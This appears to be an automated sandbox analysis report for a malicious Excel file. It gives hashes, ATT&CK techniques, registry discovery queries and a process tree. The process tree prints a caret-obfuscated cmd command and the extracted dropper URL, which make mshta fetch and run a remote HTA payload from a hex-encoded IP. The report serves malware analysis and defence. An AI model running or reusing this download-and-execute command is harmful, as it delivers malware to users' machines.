7711d6fb56bb07b0db1056116eebfe905174f3772177006c61a7d2ecb1768311

Analysis

max time kernel
164s
max time network
255s
platform
windows10_x64
resource
win10-en-20211208
submitted
28-01-2022 01:47

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General

Target

file-107.xls
Size

65KB
MD5

612cd1ceba956cc855c074e3950abf84
SHA1

48c59cfe949b6cf8197aad0dea84f1afd1126e39
SHA256

d088edcf478a2549fc71edc9e167790709ab7c4faea48ae0cb99c8b9eaca19b5
SHA512

b570202a7bd73c957ba8c841b0898e12e72525b800caa933b47e8b6a369576c57ebd009b70c777ca371ed436ee4b6f75333f576a9eb74e0bf3a4193f96919781

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xc12a24f5/cc.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1180	4048	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

22 1428 mshta.exe

flow	pid	process
22	1428	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

4048 EXCEL.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
4048	EXCEL.EXE
4048	EXCEL.EXE
4048	EXCEL.EXE
4048	EXCEL.EXE
4048	EXCEL.EXE
4048	EXCEL.EXE
4048	EXCEL.EXE
4048	EXCEL.EXE
4048	EXCEL.EXE
4048	EXCEL.EXE
4048	EXCEL.EXE
4048	EXCEL.EXE
4048	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 4048 wrote to memory of 1180	4048	EXCEL.EXE	cmd.exe
PID 4048 wrote to memory of 1180	4048	EXCEL.EXE	cmd.exe
PID 1180 wrote to memory of 1428	1180	cmd.exe	mshta.exe
PID 1180 wrote to memory of 1428	1180	cmd.exe	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\file-107.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4048

C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1180

C:\Windows\system32\mshta.exe
mshta http://0xc12a24f5/cc.html
3⤵
- Blocklisted process makes network request
PID:1428

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/4048-118-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

Filesize
64KB

Download
memory/4048-119-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

Filesize
64KB

Download
memory/4048-120-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

Filesize
64KB

Download
memory/4048-121-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

Filesize
64KB

Download
memory/4048-124-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

Filesize
64KB

Download
memory/4048-131-0x00007FFBCBCE0000-0x00007FFBCBCF0000-memory.dmp

Filesize
64KB

Download
memory/4048-132-0x00007FFBCBCE0000-0x00007FFBCBCF0000-memory.dmp

Filesize
64KB

Download
memory/4048-320-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

Filesize
64KB

Download
memory/4048-321-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

Filesize
64KB

Download
memory/4048-322-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

Filesize
64KB

Download
memory/4048-323-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

Filesize
64KB

Download